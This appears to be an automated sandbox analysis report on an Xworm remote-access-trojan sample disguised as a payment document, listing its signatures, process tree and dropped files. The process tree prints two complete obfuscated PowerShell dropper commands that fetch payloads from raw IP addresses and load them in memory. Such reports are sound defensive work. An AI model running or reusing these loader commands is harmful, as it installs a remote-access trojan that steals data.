Resubmissions

14/08/2026, 05:54

260814-gl5nwsdn7110

13/08/2026, 03:37

260813-d6r2rayzfv1

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 05:54

General

  • Target
    Payment _Ad.TXT.pdf.png
  • Size 935KB
  • Sample260814-gl5nwsdn71
  • SHA256 ae07a74fad35fc9c50d6b649c9e8ba5cdf90034b09a9a22481096e6bdbc0be8e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://64.224.17.122/pinmsi.png

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://192.109.139.79/stonesw.png

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Payment _Ad.TXT.pdf.png"
    1⤵
      PID:1932
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:2784
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment _Ad.TXT.pdf.vbs"
        1⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4200
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$fortalices=''http://64.224.17.122/pinmsi.png''; $compossibility = [System.Net.HttpWebRequest]::Create($fortalices); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($perforati)); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''3TdhsuwbBFOaVQONjY1yxxWFU2WMzvibhrsC8z4HXszohrOKQOEovx74o4PEyD+X4RtPMUOJFC0nQimtevx6/w=='',''cXvJET5B6McmcWWAAxqoKXSP83QI3NOshaqdxwZje6w='',''LBMbn54UEOWdhkP8ZpvQepmJwRXPMjV+Ai0H/h/OCXD41tXAmI7WS2xjiRB5/tdh'',''1AEzeyrtq8sD3x+MJ4v3Yds3FeUd354ViU3A7v8RC/g='',''j+RHRXhf4V6agIClJI5iojCtS7HNondZzGjfvlRRJVc='','''',''0L5w6hySP0DOZJruJ7Xtt4N5vHqO5hNbKbJeaNvk4As='',''X1RyINLC25+meCDo329PoxR3DAPxthzsLPQL19ASYVs='',''gr4JwkBB5FLl+iv3uDD3iKjcL+LtcLFs85J4uBqoCSrUobuVGi0wOqY/At/ZNQlo'',''j++LrpTSl3eTF+II15athSS1qr1nK1A475d4vv1iZU5pXHojaQ5YGcDQCMYEJ65+'',''SHTW8JOyWToTCCKeAc4bNQPrRfA/eH2obEtunVaXS4g='',''krWeb+KU/0zCjs4Od8s3javgLSUVv+4FVSmPj6QXPAs='',''XmFN6zrQDaJp7CL+NNFfS+uG+F6+jOAC6hqi5lnkY6g='',''XUUjTuhvkTspwZLSaSeqFIcUfQwNYTlEAB3iFCGw/Xg='',''vR1id1ItKoc9+hP0xPYc4wfh+A+QFjdTTRo3nLgWo3M='',''7Zc3j6LzP4tPze8juLrOx/9oTbXFrhQj3E7kR007UbQ='','''','''',''''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
        1⤵
        • Process spawned unexpected child process
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
          2⤵
          • Creates a file in the Startup directory
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:4604
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ldmiwb.vbs"
            3⤵
            • Executes a VBScript file via the Windows Script Host.
            • System Location Discovery: System Language Discovery
            PID:3728
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_444fa9d7d5cb4c7089a875d64184ba58.cs"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5092
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E64.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD7D32ECB10F549CEBA4CBA24187E6D2.TMP"
              4⤵
                PID:5380
            • C:\Users\Admin\AppData\Local\Temp\CasPol.exe
              "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 4604
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5560
        • C:\Windows\system32\conhost.exe
          conhost.exe
          1⤵
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2136
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe
            2⤵
              PID:4720
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$polypragmatic=''http://192.109.139.79/stonesw.png''; $compossibility = [System.Net.HttpWebRequest]::Create($polypragmatic); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($perforati)); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''yvCBKbetqz0aBoOAs0qLTbd8HKXJ7cglhhKzBwg9it4zR/DeV+7LMghW5MkP6sS8'','''',''2OmFn12ujjSgtyFYgEAPKG6vYXlbxHtoJAsKj1FVa2G1vLW3y+HK7a7WDEt8iQ39'',''dnPGWYlUS/5mL35Odlk7ddImnGdppp0wCLOxcqb/JVs='',''t4d+/uwN6w7CFFDPgMhL32jqj3wZIaapBkaXcUiLCZo='','''',''dqqFu6gFXQS8e2U6XQhjDVUmYewgqLADTwjH28XNxcI='','''','''',''3ejutbg2eA56Hi0WyEQ9UPDl4oy2JejBRFdSpT/0AXX3VnPpm6n6zu2QZWrY4Lrk'',''DNQv++TNynNgSsAeK3jsB+/uKXgRJAmOBAey81dEmWY='',''zb4ArCm5siQEGd95QqWhf51t4uxJEZWdq8Ov9+8J8m4='',''CVItSfYQRPAz8gH90t9JrG334coZgP9gGrqsnoIVio8='','''',''ep/IdjvWWrK/RnFYpemMIGZGadi99H2SPjPL9XK0WN8='',''cuevp+EtVeS/P7aZF/4CnuzpH5X+tL0f+plxGpaZ5oo='','''','''',''''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
            1⤵
            • Process spawned unexpected child process
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5972

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 2a40b8a02e2a516144ab19f97506fbe4df9d4e11ce529d8e36f1b68da29f4102
                • MD5 SHA1 SHA512 TLSH

                CasPol.exe

                • Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
                • Size 5KB
                • SHA256 88f9842348740b064f7b19f62140d5f163391d6ecc56998cc70b162471bcb740
                • MD5 SHA1 SHA512 SSDEEP TLSH

                RES2E64.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES2E64.tmp
                • Size 1KB
                • SHA256 87a3274c1c2a8c8a2905dfe42acff4e8909b9ac5ec47fbe6ed6df401cc4698e2
                • MD5 SHA1 SHA512 TLSH

                ldmiwb.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\ldmiwb.vbs
                • Size 926KB
                • SHA256 c1c1ada6f318e504545b8d776ed0bfe5a5feb68d0fd3328be424bb6a0ee14a1b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSCD7D32ECB10F549CEBA4CBA24187E6D2.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\CSCD7D32ECB10F549CEBA4CBA24187E6D2.TMP
                • Size 1KB
                • SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
                • MD5 SHA1 SHA512 TLSH

                guardian_src_444fa9d7d5cb4c7089a875d64184ba58.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_444fa9d7d5cb4c7089a875d64184ba58.cs
                • Size 4KB
                • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/3720-9-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-15-0x00000181EEF40000-0x00000181EEFA0000-memory.dmp

                memory/3720-10-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-11-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-12-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-13-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-14-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-7-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-1-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-18-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-4-0x00000181EE9F0000-0x00000181EEA12000-memory.dmp

                memory/3720-0-0x00007FFE9974F000-0x00007FFE99750000-memory.dmp

                memory/3720-5-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-6-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/3720-8-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

                memory/4604-20-0x0000000005330000-0x00000000053CC000-memory.dmp

                memory/4604-37-0x0000000007B20000-0x0000000007B9C000-memory.dmp

                memory/4604-38-0x0000000007980000-0x0000000007988000-memory.dmp

                memory/4604-26-0x0000000007880000-0x0000000007912000-memory.dmp

                memory/4604-21-0x0000000005990000-0x0000000005F4A000-memory.dmp

                memory/4604-19-0x00000000051D0000-0x0000000005236000-memory.dmp

                memory/4604-16-0x0000000000400000-0x000000000041C000-memory.dmp

                memory/4604-50-0x00000000085F0000-0x00000000087B2000-memory.dmp

                memory/5560-49-0x0000000000550000-0x0000000000558000-memory.dmp